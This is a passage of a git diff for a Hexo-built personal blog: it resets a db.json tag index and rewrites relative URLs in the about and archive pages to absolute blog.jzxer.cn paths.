qht1sd5uoc","_id":"cjhiu2y7t006dvzqh6ttzeawh"},{"post_id":"cjhiu2y5s0026vzqh3l4mzrik","tag_id":"cjhiu2y7t006bvzqhpyeeqzap","_id":"cjhiu2y7u006fvzqhx569763k"},{"post_id":"cjhiu2y5t0029vzqhw583ttnz","tag_id":"cjhiu2y7t006evzqh0g2rey98","_id":"cjhiu2y7w006ivzqhn0jproto"},{"post_id":"cjhiu2y5t0029vzqhw583ttnz","tag_id":"cjhiu2y7u006gvzqhda109jzx","_id":"cjhiu2y7w006jvzqhjblo22i1"},{"post_id":"cjhiu2y5v002dvzqhe0h96l38","tag_id":"cjhiu2y7v006hvzqh209oska4","_id":"cjhiu2y7w006lvzqhfuolkmn7"},{"post_id":"cjhiu2y5w002gvzqh5rqnj8nh","tag_id":"cjhiu2y7t006evzqh0g2rey98","_id":"cjhiu2y7y006pvzqhhlyusdk8"},{"post_id":"cjhiu2y5w002gvzqh5rqnj8nh","tag_id":"cjhiu2y7v006hvzqh209oska4","_id":"cjhiu2y7y006qvzqhz7ogmqgz"},{"post_id":"cjhiu2y5w002gvzqh5rqnj8nh","tag_id":"cjhiu2y7x006nvzqh406yr3ew","_id":"cjhiu2y7y006svzqhp778g0fu"},{"post_id":"cjhiu2y5y002jvzqh2dz5r8my","tag_id":"cjhiu2y7x006ovzqh6n7g2lbs","_id":"cjhiu2y7y006tvzqhp60gurj1"},{"post_id":"cjhiu2y60002mvzqhsqpr6e8g","tag_id":"cjhiu2y7t006evzqh0g2rey98","_id":"cjhiu2y7z006vvzqhf5m1b2xe"},{"post_id":"cjhiu2y62002pvzqhoull3bze","tag_id":"cjhiu2y7y006uvzqhuhfn2em8","_id":"cjhiu2y7z006xvzqh1ep9odvr"},{"post_id":"cjhiu2y64002rvzqhud2atdh7","tag_id":"cjhiu2y7z006wvzqh3ausxjhj","_id":"cjhiu2y7z006zvzqho9jpm5da"},{"post_id":"cjhiu2y66002vvzqhk94r54t2","tag_id":"cjhiu2y7z006yvzqhv5i2ky8b","_id":"cjhiu2y800071vzqhbsi8k41s"},{"post_id":"cjhiu2y67002zvzqhkdpo52ep","tag_id":"cjhiu2y800070vzqhaqyv8eni","_id":"cjhiu2y810074vzqhwmtmqab5"},{"post_id":"cjhiu2y67002zvzqhkdpo52ep","tag_id":"cjhiu2y800072vzqh5h8xw4ne","_id":"cjhiu2y810075vzqhxi7gc9qw"},{"post_id":"cjhiu2y690033vzqhjlas2gue","tag_id":"cjhiu2y7z006yvzqhv5i2ky8b","_id":"cjhiu2y820077vzqhsi7lxsbq"},{"post_id":"cjhiu2y6b0035vzqhzw3n5c1c","tag_id":"cjhiu2y810076vzqh1iv2bfz0","_id":"cjhiu2y84007avzqhddnnl7cg"},{"post_id":"cjhiu2y6b0035vzqhzw3n5c1c","tag_id":"cjhiu2y820078vzqhqf8hsmj3","_id":"cjhiu2y84007bvzqhcsaoxecu"},{"post_id":"cjhiu2y6d0039vzqhjzm7p6zl","tag_id":"cjhiu2y820079vzqhqxl4d62v","_id":"cjhiu2y84007dvzqhntx5ya9b"},{"post_id":"cjhiu2y6e003bvzqh7pelmhc2","tag_id":"cjhiu2y84007cvzqh6232qcfs","_id":"cjhiu2y85007fvzqh6nxfnjvn"},{"post_id":"cjhiu2y6f003fvzqh6vctxntu","tag_id":"cjhiu2y84007evzqhv5l7y9wc","_id":"cjhiu2y86007ivzqh8kci8cow"},{"post_id":"cjhiu2y6f003fvzqh6vctxntu","tag_id":"cjhiu2y85007gvzqhf5bbusys","_id":"cjhiu2y86007jvzqhh3c69wkg"},{"post_id":"cjhiu2y6h003hvzqh0r2wm1gx","tag_id":"cjhiu2y84007cvzqh6232qcfs","_id":"cjhiu2y87007lvzqh8fzbnnaf"},{"post_id":"cjhiu2y6j003lvzqh85o3oqaw","tag_id":"cjhiu2y87007kvzqhx6bauf94","_id":"cjhiu2y88007nvzqh5afwv4km"},{"post_id":"cjhiu2y6l003ovzqh9uz0sno4","tag_id":"cjhiu2y7z006yvzqhv5i2ky8b","_id":"cjhiu2y88007pvzqhkbw5e45t"},{"post_id":"cjhiu2y6n003rvzqhap5y0j2h","tag_id":"cjhiu2y88007ovzqhyabj80qh","_id":"cjhiu2y89007svzqh6o6q2oop"},{"post_id":"cjhiu2y6n003rvzqhap5y0j2h","tag_id":"cjhiu2y88007qvzqhr3irjw1m","_id":"cjhiu2y89007tvzqhwetd8r0m"},{"post_id":"cjhiu2y6o003vvzqh4mfu7rjy","tag_id":"cjhiu2y88007rvzqhv8n21wty","_id":"cjhiu2y89007wvzqhfo8pfnkt"},{"post_id":"cjhiu2y6o003vvzqh4mfu7rjy","tag_id":"cjhiu2y89007uvzqh5zj7vc5o","_id":"cjhiu2y89007xvzqhd2defti6"},{"post_id":"cjhiu2y6q003yvzqhp2sjc406","tag_id":"cjhiu2y89007vvzqh1dsn897g","_id":"cjhiu2y8a007zvzqhvkwzkkkl"},{"post_id":"cjhiu2y6t0041vzqh3j7aepzs","tag_id":"cjhiu2y8a007yvzqh5084x01c","_id":"cjhiu2y8b0081vzqhc3ipob3q"},{"post_id":"cjhiu2y6u0044vzqhxyeq9c6d","tag_id":"cjhiu2y8a0080vzqhmgsw6ubr","_id":"cjhiu2y8c0083vzqh94j33p1x"},{"post_id":"cjhiu2y6v0047vzqhd0m1y4hb","tag_id":"cjhiu2y8b0082vzqhzfqfyhu4","_id":"cjhiu2y8c0085vzqhotda9ipi"},{"post_id":"cjhiu2y6x004bvzqhbw63ijop","tag_id":"cjhiu2y800070vzqhaqyv8eni","_id":"cjhiu2y8d0088vzqhhpsesh5k"},{"post_id":"cjhiu2y6x004bvzqhbw63ijop","tag_id":"cjhiu2y800072vzqh5h8xw4ne","_id":"cjhiu2y8d0089vzqhxtwaf4h6"},{"post_id":"cjhiu2y6y004evzqh34hxppax","tag_id":"cjhiu2y8d0087vzqhmrpz45qu","_id":"cjhiu2y8e008cvzqhilo1sqyr"},{"post_id":"cjhiu2y6y004evzqh34hxppax","tag_id":"cjhiu2y8e008avzqhgqy4m8ah","_id":"cjhiu2y8e008dvzqhcewsxfw5"},{"post_id":"cjhiu2y70004hvzqhl3gvimif","tag_id":"cjhiu2y8e008bvzqhgke7eznv","_id":"cjhiu2y8f008fvzqh5yjkymx2"},{"post_id":"cjhiu2y73004kvzqh379rff47","tag_id":"cjhiu2y7x006ovzqh6n7g2lbs","_id":"cjhiu2y8g008ivzqh2ow7j9i4"},{"post_id":"cjhiu2y73004kvzqh379rff47","tag_id":"cjhiu2y8f008gvzqhqrrg86j2","_id":"cjhiu2y8g008jvzqh48jorbj8"},{"post_id":"cjhiu2y79004svzqhv51fcrf9","tag_id":"cjhiu2y8g008hvzqhq2xebg06","_id":"cjhiu2y8h008mvzqhtee6ddwv"},{"post_id":"cjhiu2y79004svzqhv51fcrf9","tag_id":"cjhiu2y8g008kvzqhkzv2nwm1","_id":"cjhiu2y8h008nvzqhywmh6h24"},{"post_id":"cjhiu2y7b004wvzqhv2bdfz3v","tag_id":"cjhiu2y8g008lvzqhxqvju79g","_id":"cjhiu2y8h008qvzqhukxt7y0b"},{"post_id":"cjhiu2y7b004wvzqhv2bdfz3v","tag_id":"cjhiu2y8h008ovzqhnamwaas6","_id":"cjhiu2y8h008rvzqhqoskgk2l"},{"post_id":"cjhiu2y7d004zvzqh5wsxvrhi","tag_id":"cjhiu2y8h008pvzqhw6oofp57","_id":"cjhiu2y8j008uvzqhny3frtgg"},{"post_id":"cjhiu2y7d004zvzqh5wsxvrhi","tag_id":"cjhiu2y8i008svzqhqkgq4hqx","_id":"cjhiu2y8j008vvzqhamr2tfbj"},{"post_id":"cjhiu2y7h0052vzqhg122vhhg","tag_id":"cjhiu2y7z006yvzqhv5i2ky8b","_id":"cjhiu2y8k008xvzqh3d7gov6y"},{"post_id":"cjhiu2y7i0055vzqh7y2wbv2f","tag_id":"cjhiu2y8j008wvzqhmavh5kma","_id":"cjhiu2y8k008yvzqhfrc1kpho"}],"Tag":[{"name":"音乐","_id":"cjhiu2y370005vzqhjp35bn9e"},{"name":"git","_id":"cjhiu2y3w000cvzqhwongwlp5"},{"name":"PWA","_id":"cjhiu2y4g000jvzqhiwd2ytf6"},{"name":"js","_id":"cjhiu2y4p000pvzqhr77abf6w"},{"name":"error","_id":"cjhiu2y4x000vvzqh642leae5"},{"name":"badBoy","_id":"cjhiu2y530011vzqhrsuk82xt"},{"name":"commonjs","_id":"cjhiu2y560018vzqhlhiu47p3"},{"name":"cookie","_id":"cjhiu2y5b001fvzqh1zmsialt"},{"name":"session","_id":"cjhiu2y5i001mvzqhqlhjdlf3"},{"name":"css命名规范","_id":"cjhiu2y5l001svzqh9wwljtda"},{"name":"语义化","_id":"cjhiu2y5o001zvzqht1oltfx9"},{"name":"hybird","_id":"cjhiu2y5r0025vzqh9tyb22rd"},{"name":"hexo","_id":"cjhiu2y5u002cvzqhy4stz6md"},{"name":"methods","_id":"cjhiu2y5z002kvzqhxua7qmf5"},{"name":"js methods","_id":"cjhiu2y64002qvzqh39vf1c9y"},{"name":"express","_id":"cjhiu2y67002yvzqhrd3mqxfo"},{"name":"koa","_id":"cjhiu2y6b0034vzqh7xqwpzwy"},{"name":"nginx","_id":"cjhiu2y6h003jvzqh45mwh26z"},{"name":"性能","_id":"cjhiu2y6m003qvzqh4j5svvwy"},{"name":"安全","_id":"cjhiu2y6q003xvzqh0zzf85z7"},{"name":"redis","_id":"cjhiu2y6u0043vzqhjqthjjjo"},{"name":"阿里云","_id":"cjhiu2y6y004dvzqhxmr7chvf"},{"name":"sessionStorage","_id":"cjhiu2y78004rvzqhrmyzavzj"},{"name":"localStotage","_id":"cjhiu2y7d004yvzqhssxabiia"},{"name":"cookies","_id":"cjhiu2y7i0054vzqhjfky0itp"},{"name":"SC","_id":"cjhiu2y7k005avzqh3aftxq28"},{"name":"sticky布局","_id":"cjhiu2y7m005hvzqhs4zl712u"},{"name":"同步","_id":"cjhiu2y7o005nvzqhizzscqet"},{"name":"异步","_id":"cjhiu2y7p005svzqh4kv1gua0"},{"name":"es6","_id":"cjhiu2y7q005wvzqh73q1p5dz"},{"name":"nodejs","_id":"cjhiu2y7q005zvzqheqv5g84p"},{"name":"ubuntu","_id":"cjhiu2y7r0064vzqhypj4ik1v"},{"name":"react","_id":"cjhiu2y7s0067vzqhfan0bwdi"},{"name":"webpack","_id":"cjhiu2y7s006avzqht1sd5uoc"},{"name":"vscode","_id":"cjhiu2y7t006bvzqhpyeeqzap"},{"name":"vue","_id":"cjhiu2y7t006evzqh0g2rey98"},{"name":"nodeJS","_id":"cjhiu2y7u006gvzqhda109jzx"},{"name":"vuex","_id":"cjhiu2y7v006hvzqh209oska4"},{"name":"vue-router","_id":"cjhiu2y7x006nvzqh406yr3ew"},{"name":"指弹","_id":"cjhiu2y7x006ovzqh6n7g2lbs"},{"name":"趣事","_id":"cjhiu2y7y006uvzqhuhfn2em8"},{"name":"幸福","_id":"cjhiu2y7z006wvzqh3ausxjhj"},{"name":"哲理","_id":"cjhiu2y7z006yvzqhv5i2ky8b"},{"name":"beyond","_id":"cjhiu2y800070vzqhaqyv8eni"},{"name":"rock","_id":"cjhiu2y800072vzqh5h8xw4ne"},{"name":"xss","_id":"cjhiu2y810076vzqh1iv2bfz0"},{"name":"crsf","_id":"cjhiu2y820078vzqhqf8hsmj3"},{"name":"前端规划","_id":"cjhiu2y820079vzqhqxl4d62v"},{"name":"面试","_id":"cjhiu2y84007cvzqh6232qcfs"},{"name":"布局","_id":"cjhiu2y84007evzqhv5l7y9wc"},{"name":"圣杯","_id":"cjhiu2y85007gvzqhf5bbusys"},{"name":"职场","_id":"cjhiu2y87007kvzqhx6bauf94"},{"name":"generator","_id":"cjhiu2y88007ovzqhyabj80qh"},{"name":"yield","_id":"cjhiu2y88007qvzqhr3irjw1m"},{"name":"兼容性","_id":"cjhiu2y88007rvzqhv8n21wty"},{"name":"前端","_id":"cjhiu2y89007uvzqh5zj7vc5o"},{"name":"学生思维","_id":"cjhiu2y89007vvzqh1dsn897g"},{"name":"CStyle","_id":"cjhiu2y8a007yvzqh5084x01c"},{"name":"人生感悟","_id":"cjhiu2y8a0080vzqhmgsw6ubr"},{"name":"狼性","_id":"cjhiu2y8b0082vzqhzfqfyhu4"},{"name":"windows","_id":"cjhiu2y8d0087vzqhmrpz45qu"},{"name":"腾讯云","_id":"cjhiu2y8e008avzqhgqy4m8ah"},{"name":"正则表达式","_id":"cjhiu2y8e008bvzqhgke7eznv"},{"name":"古典","_id":"cjhiu2y8f008gvzqhqrrg86j2"},{"name":"mongoDB","_id":"cjhiu2y8g008hvzqhq2xebg06"},{"name":"全栈开发","_id":"cjhiu2y8g008kvzqhkzv2nwm1"},{"name":"电吉他","_id":"cjhiu2y8g008lvzqhxqvju79g"},{"name":"即兴原理","_id":"cjhiu2y8h008ovzqhnamwaas6"},{"name":"heroku","_id":"cjhiu2y8h008pvzqhw6oofp57"},{"name":"自动化","_id":"cjhiu2y8i008svzqhqkgq4hqx"},{"name":"轮播图","_id":"cjhiu2y8j008wvzqhmavh5kma"}]}}
\ No newline at end of file
+{"meta":{"version":1,"warehouse":"2.2.0"},"models":{"Asset":[],"Cache":[],"Category":[],"Data":[],"Page":[],"Post":[],"PostAsset":[],"PostCategory":[],"PostTag":[],"Tag":[]}}
\ No newline at end of file
diff --git a/public/about/index.html b/public/about/index.html
index 6a27f53..92fde7e 100644
--- a/public/about/index.html
+++ b/public/about/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/about/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/about/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/about/">
+    <meta property="og:url" content="blog.jzxer.cn/about/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="个人简介 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/about/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/about/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -363,7 +363,7 @@
 <ul class="mdl-menu mdl-menu--bottom-right mdl-js-menu mdl-js-ripple-effect" for="article-functions-qrcode-button">
     <li class="mdl-menu__item">在其它设备中阅读本文章</li>
     
-        <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK4AAACuCAAAAACKZ2kyAAABgUlEQVR42u3aQXIDIQwEwP3/p5MXgEeAoyXVnFxb2LR9mJKEn5+r1oOLi4uLi4v7Au4Tr2T/aM/aWbi4uL3cD1EyOLIcScWzcHFx38CdB9Dw4waI+c7kLFxc3Fu4hQAKvjYuLu7/4K6xcHFx7+VWQ6raDjX0ari4uBvc6sB053XDfBcXF7fI3br+DEYka6NVXFzcXu68mckvU/PWKG+EcHFxe7lrQ9J8OLK2ExcXt5dbDpeNUKvScXFxu7hz3NnwyscuuLi4XdykRTkbZEl04uLi9nKTschayTKPxTw6cXFxu7jVVid5b7V42roTxsXF/QJ3DReNO+MfYhh5uLi4rdwqcV6+JAORY1cpuLi4R7nVdYpSaJNwcXH/nPvEa/HPE9PxaFQG4eLiNnGr4bVzfH4Zg4uL+wZuUqbkxDwcP4xpcHFxL+HmZc3OZQwuLu4t3OTJ2SEsLi5uLzcPpurzZLCCi4v7Nu7awDQvWeb7y80PLi7ul7nvX7i4uLi4uLhN6xctVwjeXeoqUgAAAABJRU5ErkJggg==">
+        <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMYAAADGCAAAAACs8KCBAAAB60lEQVR42u3aQW7DMAwEwPz/0+21QFFlV0qQ2hydisC2OD0QosjH1y3WAwMDAwMDAwPj3zAe8fr5/O93//raeq+9GDAwMGYynqS2INC90PdiwMDAmMxItlwHnWy/ZhQxYGBgYJTJMTkyrv8pGBgYGO9LuHuFLgYGBsYeoygglyVrexn3gVocAwPjgoyTxsCr/v5wfwMDA+MfM+oRh/Ki7STJvnFmBAMD41KM8+GJ9ro/P3o+OYZiYGCMZ+yVoHvP5PtiYGBMZqwPanttyzzVto0EDAyMaYzko+dP5r8X4x0YGBhjGEeHs3LAor10q4ctMDAwbs3YS4h7A6/toBgGBgZGe7mWB9SObuRvYWBgYCSJL29JtmNhLytiMTAwbsTIk10CaEvWk9YCBgbGNMY6rDzVtsHlLYoo4WJgYNyU0Q54tcVqfhysr/wwMDDGME4K1DxR7pW7RQsTAwNjAKO93E+GKvYK46IVioGBMYyRr3ZoLP+9Pp5iYGCMYZwkwaTNmSfu/PsYGBgzGUmSzbc8uUpL4sHAwJjMyJNsQsqT8maix8DAwDhoPe6l75cdDTEwMDCWyTd/NxngeMLDwMAYyTg52LWpObmSe+N1GwYGxgUZ5wMQbcPgpADGwMCYxrjuwsDAwMDAwMD46PoGEEB9gnT/INIAAAAASUVORK5CYII=">
     
 </ul>
 
@@ -395,7 +395,7 @@
 
     <!-- Share Weibo -->
     
-        <a class="post_share-link" href="http://service.weibo.com/share/share.php?appkey=&title=个人简介&url=/about/index.html&pic=/img/favicon.ico&searchPic=false&style=simple" target="_blank">
+        <a class="post_share-link" href="http://service.weibo.com/share/share.php?appkey=&title=个人简介&url=blog.jzxer.cn/about/index.html&pic=blog.jzxer.cn/img/favicon.ico&searchPic=false&style=simple" target="_blank">
             <li class="mdl-menu__item">
                 分享到微博
             </li>
@@ -404,7 +404,7 @@
 
     <!-- Share Twitter -->
     
-        <a class="post_share-link" href="https://twitter.com/intent/tweet?text=个人简介&url=/about/index.html&via=Jzxer" target="_blank">
+        <a class="post_share-link" href="https://twitter.com/intent/tweet?text=个人简介&url=blog.jzxer.cn/about/index.html&via=Jzxer" target="_blank">
             <li class="mdl-menu__item">
                 分享到 Twitter
             </li>
@@ -413,7 +413,7 @@
 
     <!-- Share Facebook -->
     
-        <a class="post_share-link" href="https://www.facebook.com/sharer/sharer.php?u=/about/index.html" target="_blank">
+        <a class="post_share-link" href="https://www.facebook.com/sharer/sharer.php?u=blog.jzxer.cn/about/index.html" target="_blank">
             <li class="mdl-menu__item">
                 分享到 Facebook
             </li>
@@ -422,7 +422,7 @@
 
     <!-- Share Google+ -->
     
-        <a class="post_share-link" href="https://plus.google.com/share?url=/about/index.html" target="_blank">
+        <a class="post_share-link" href="https://plus.google.com/share?url=blog.jzxer.cn/about/index.html" target="_blank">
             <li class="mdl-menu__item">
                 分享到 Google+
             </li>
@@ -431,7 +431,7 @@
 
     <!-- Share LinkedIn -->
     
-        <a class="post_share-link" href="https://www.linkedin.com/shareArticle?mini=true&url=/about/index.html&title=个人简介" target="_blank">
+        <a class="post_share-link" href="https://www.linkedin.com/shareArticle?mini=true&url=blog.jzxer.cn/about/index.html&title=个人简介" target="_blank">
             <li class="mdl-menu__item">
                 分享到 LinkedIn
             </li>
@@ -440,7 +440,7 @@
 
     <!-- Share QQ -->
     
-        <a class="post_share-link" href="http://connect.qq.com/widget/shareqq/index.html?site=Jzxer&#39;s Blog&title=个人简介&summary=web全栈工程师,摇滚,vue,vuex,react,webpack,git,koa2&pics=/img/favicon.ico&url=/about/index.html" target="_blank">
+        <a class="post_share-link" href="http://connect.qq.com/widget/shareqq/index.html?site=Jzxer&#39;s Blog&title=个人简介&summary=web全栈工程师,摇滚,vue,vuex,react,webpack,git,koa2&pics=blog.jzxer.cn/img/favicon.ico&url=blog.jzxer.cn/about/index.html" target="_blank">
             <li class="mdl-menu__item">
                 分享到 QQ
             </li>
@@ -516,17 +516,17 @@
 <p>行动派: 认准一件事就会全力以赴,不达目的不罢休<br>艺术派：前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧</p>
 </blockquote>
 <h3 id="联系方式"><a href="#联系方式" class="headerlink" title="联系方式"></a>联系方式</h3><blockquote>
-<p>qq: 710328466<br>tel: 15216030330(中午和晚上一般都关机，我要睡觉…)<br><a href="http://blog.jzxer.cn/" target="_blank" rel="noopener">blog</a></p>
+<p>qq: 710328466<br>tel: 15216030330(中午和晚上一般都关机，我要睡觉…)<br><a href="http://blog.jzxer.cn/">blog</a></p>
 </blockquote>
 </li>
 </ul>
 
-        <div id="aplayer-dfvbDxnB" class="aplayer aplayer-tag-marker" style="margin-bottom: 20px;">
+        <div id="aplayer-utlCkfDz" class="aplayer aplayer-tag-marker" style="margin-bottom: 20px;">
             <pre class="aplayer-lrc-content"></pre>
         </div>
         <script>
           var ap = new APlayer({
-            element: document.getElementById("aplayer-dfvbDxnB"),
+            element: document.getElementById("aplayer-utlCkfDz"),
             narrow: false,
             autoplay: true,
             showlrc: false,
@@ -549,7 +549,7 @@
                             <a href="#" target="_blank">出自 Feax</a>
                         </strong>
                         <br>
-                        <strong>本文链接：</strong><a href="/about/index.html">/about/index.html</a>
+                        <strong>本文链接：</strong><a href="blog.jzxer.cn/about/index.html">blog.jzxer.cn/about/index.html</a>
                     </p>
                 </blockquote>
         
diff --git a/public/archives/2016/08/index.html b/public/archives/2016/08/index.html
index d653767..e4876ce 100644
--- a/public/archives/2016/08/index.html
+++ b/public/archives/2016/08/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2016/08/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2016/08/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2016/08/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2016/08/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2016/8 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2016/08/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2016/08/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/梦中的婚礼.html">梦中的婚礼</a></p>
+        <p class="article-headline-p"><a href="/2016/08/15/梦中的婚礼.html">梦中的婚礼</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/梦中的婚礼.html" target="_self">阅读全文</a>
+            <a href="/2016/08/15/梦中的婚礼.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2016/11/index.html b/public/archives/2016/11/index.html
index 4e46e3a..798d73a 100644
--- a/public/archives/2016/11/index.html
+++ b/public/archives/2016/11/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2016/11/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2016/11/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2016/11/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2016/11/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2016/11 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2016/11/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2016/11/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
+        <p class="article-headline-p"><a href="/2016/11/20/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/光辉岁月-间奏.html" target="_self">阅读全文</a>
+            <a href="/2016/11/20/光辉岁月-间奏.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2016/index.html b/public/archives/2016/index.html
index c6e11ee..96edaf7 100644
--- a/public/archives/2016/index.html
+++ b/public/archives/2016/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2016/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2016/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2016/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2016/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2016 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2016/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2016/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
